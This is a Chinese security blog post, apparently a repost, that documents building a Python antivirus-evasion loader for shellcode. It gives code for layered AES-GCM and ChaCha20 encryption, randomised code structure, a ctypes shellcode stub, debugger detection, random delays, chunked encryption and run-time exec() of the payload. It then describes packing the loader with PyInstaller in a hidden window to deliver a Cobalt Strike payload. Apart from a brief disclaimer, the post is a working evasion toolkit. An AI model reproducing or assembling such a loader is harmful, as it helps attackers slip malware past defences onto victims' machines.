python免杀工具学习记录

admin 2026-04-26 05:25:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一个Python免杀工具的研发过程,采用多层防护架构设计,核心思路包括AES-GCM与ChaCha20双重加密、随机分割符密钥、动态代码结构、反调试检测、随机延迟策略、代码分块加密及运行时解密执行。通过组合这些技术破坏静态特征识别,提高绕过杀毒软件检测的成功率,并提供具体代码实现和PyInstaller打包生成可执行文件的操作方法。 综合评分: 85 文章分类: 免杀,安全工具,恶意软件,红队,内网渗透


cover_image

python免杀工具学习记录

蚁景网络安全

2026年4月24日 17:40 湖南

在小说阅读器读本章

去阅读

以下文章来源于Tide安全团队 ,作者Komorebi

Tide安全团队 .

Tide安全团队以信安技术研究为目标,致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域,对安全感兴趣的小伙伴可以关注我们。

0x01 前言

最近学习了一下免杀相关的知识,参考了互联网几个公开项目的思路,尝试自己开发了一个小工具,本文主要用来记录一下主要思路。

0x02 思路

根据大部分公开工具的思路来看,发现可以采用多层防护的架构设计以获得比较突出的免杀效果,主要包含以下几个核心组件:

密钥生成器
主加载器
加密payload
配置管理

0x03 实现核心功能

密钥生成

  • AES-GCM + ChaCha20 组合加密
from cryptography.hazmat.primitives.ciphers.aead import AESGCM, ChaCha20Poly1305
import os

def hybrid_encrypt(data: bytes) -> tuple:
    # AES-GCM加密
    aes_key = os.urandom(32)
    aes_nonce = os.urandom(12)
    aes_cipher = AESGCM(aes_key)
    aes_encrypted = aes_cipher.encrypt(aes_nonce, data, None)

    # ChaCha20二次加密
    chacha_key = os.urandom(32)
    chacha_nonce = os.urandom(12)
    chacha_cipher = ChaCha20Poly1305(chacha_key)
    final_encrypted = chacha_cipher.encrypt(chacha_nonce, aes_encrypted, None)

    return final_encrypted, aes_key, aes_nonce, chacha_key, chacha_nonce

这里使用两种不同算法组合,增加破解难度;AES-GCM提供认证加密,ChaCha20提供速度。

  • 随机分割符密钥
ran_num = random.randint(1,10)  # 随机长度1-10
ranStr = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], ran_num))
split = ranStr + '=bypass'  # 分割符格式

使用长度随机+字符随机以获得更好的免杀效果

  • 动态代码结构密钥
x = '''
import ctypes

'''+ranStr+'''=bytearray('''+shellcode+''')
'''+split+'''
# ... 后续代码
'''

这里使用随机字符串作为变量名,并且每次生成不同的代码结构。

反调试功能

使用Windows API IsDebuggerPresent() 检测是否在调试器环境中运行,如果检测到调试器,那么返回False并记录警告日志.

def _anti_debug(self):
    """反调试功能"""
    try:
        if ctypes.windll.kernel32.IsDebuggerPresent():
            logger.warning("检测到调试器")
            return False
        return True
    except Exception as e:
        logger.error(f"反调试检查失败: {str(e)}")
        return True

适当增加延迟

添加随机延迟,可以增加行为分析的难度

random_delay = random.randint(1, 10) * 0.1
time.sleep(random_delay)

应用场景:

logger.debug("开始执行payload")
# 使用base64编码
encoded_payload = base64.b64encode(payload.encode('utf-8'))

# 添加随机延迟
random_delay = random.randint(1, 10) * 0.1
time.sleep(random_delay)

# 执行payload
exec(payload)

代码分割和分块加密

将长代码分割成64字节的小块,然后每个块单独加密,避免整体特征识别,从而破坏代码的完整性特征,增加静态分析难度。

def encrypt_message(self, message: str, chunk_size: int = 64) -> List[str]:
    """将消息分块加密"""
    chunks = [message[i:i+chunk_size] for i in range(0, len(message), chunk_size)]
    encrypted_chunks = []
    for i, chunk in enumerate(chunks):
        encrypted_chunk = self.fernet.encrypt(chunk.encode('utf-8'))
        encrypted_chunks.append(encrypted_chunk)
    return encrypted_chunks

运行时解密执行

延迟解密策略

def execute_payload(self, payload: str):
    # 使用base64编码
    encoded_payload = base64.b64encode(payload.encode('utf-8'))
    # 添加随机延迟
    random_delay = random.randint(1, 10) * 0.1
    time.sleep(random_delay)
    # 执行payload
    exec(payload)

使用exec()动态执行,绕过静态检测。静态扫描时只能看到加密后的代码,只有在运行时才进行解密和执行, 总体来说,这个脚本我采用的思路主要有六部分

代码分割:可以破坏完整性特征
双重加密:形成了多层防护体系
动态生成:避免固定特征
运行时解密:用来绕过静态检测
日志混淆:可以干扰分析过程
异常伪装 - 模拟正常软件

这些技术相互配合,形成了一个相对完整的免杀防护体系,进而提高了绕过杀毒软件检测的成功率。

0x04 实际效果

1、首先生成免杀的exe

pyinstaller --onefile --hidden-import cryptography bypass.py

打包生成可执行exe

2、然后使用CS生成python类型payload

3、使用密钥生成脚本生成3个key值后,依次填入主程序脚本中的中三个留空值,然后使用

pyinstaller --onefile --hidden-import cryptography --windowed bypass.py

打包输出隐藏控制台窗口的可执行文件exe,输出在dist目录下. 双击或命令行start即可执行。

0x05 免杀效果

0x06 参考项目

https://github.com/langsasec/c2-shellcode-py

https://blog.csdn.net/qq_32261191/article/details/108994177

https://github.com/Soufaker/moon_kill

https://github.com/HZzz2/python-shellcode-loader


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网络安全 《python免杀工具学习记录》

评论:0   参与:  0